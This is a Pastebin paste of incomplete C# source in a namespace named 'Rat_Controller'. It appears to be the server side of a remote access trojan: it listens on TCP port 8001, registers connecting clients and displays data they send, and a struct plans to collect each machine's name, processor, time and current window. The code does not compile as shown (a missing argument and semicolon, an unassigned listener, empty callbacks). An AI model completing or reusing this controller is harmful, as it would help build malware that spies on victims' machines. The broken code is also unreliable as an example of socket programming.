Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Net.Sockets;
- using System.Net;
- using System.Windows.Forms;
- namespace Rat_Controller
- {
- class Client
- {
- public ReceivePacket Receive;
- public int Id;
- public Socket _socket;
- public Client(Socket socket,int id)
- {
- Receive = new ReceivePacket(socket, id);
- Receive.ReceiveData();
- _socket = socket;
- Id = id;
- }
- }
- class ClientsControl
- {
- public static List<Client> ClientList = new List<Client>();
- public static void AddClient(Socket socket)
- {
- ClientList.Add(new Client(socket, ClientList.Count));
- }
- public static void RemoveClient(int id)
- {
- ClientList.RemoveAt(ClientList.FindIndex())
- }
- }
- class ReceivePacket
- {
- private byte[] _buffer;
- private Socket _receiveSocket;
- public ReceivePacket(Socket receiveSocket,int id)
- {
- _receiveSocket = receiveSocket;
- }
- public void ReceiveData()
- {
- _buffer = new byte[1024];
- _receiveSocket.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, ReceiveCallback, null);
- }
- private void ReceiveCallback(IAsyncResult AR)
- {
- if(_receiveSocket.EndReceive(AR) > 1)
- {
- }
- else
- {
- _receiveSocket.Disconnect(true);
- }
- }
- }
- class Networking
- {
- struct Packet
- {
- string Name;
- string Processor;
- string Time;
- string CurrentWindow;
- };
- public string data;
- public Socket s = null;
- public IPAddress ip = null;
- public TcpListener listen;
- public Networking()
- {
- }
- public void AcceptCallback(IAsyncResult ar)
- {
- }
- public int startListen()
- {
- try
- {
- s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- ip = IPAddress.Parse("127.0.0.1");
- // listen = new TcpListener(ip, 8001);
- //listen.Start();
- s.Bind(new IPEndPoint(IPAddress.Any, 8001));
- s.Listen(10);
- s.BeginAccept(AcceptCallback, s);
- }
- catch(Exception ex)
- {
- throw new Exception("Listening Error " + ex);
- }
- s = listen.AcceptSocket(); //blocking
- MessageBox.Show("Connection Established From " + s.RemoteEndPoint);
- byte[] b = new byte[10000];
- int bytesRec = s.Receive(b);
- data = Encoding.Default.GetString(b);
- // ASCIIEncoding asen = new ASCIIEncoding();
- // s.Send(asen.GetBytes(""))
- MessageBox.Show(data);
- return 0;
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement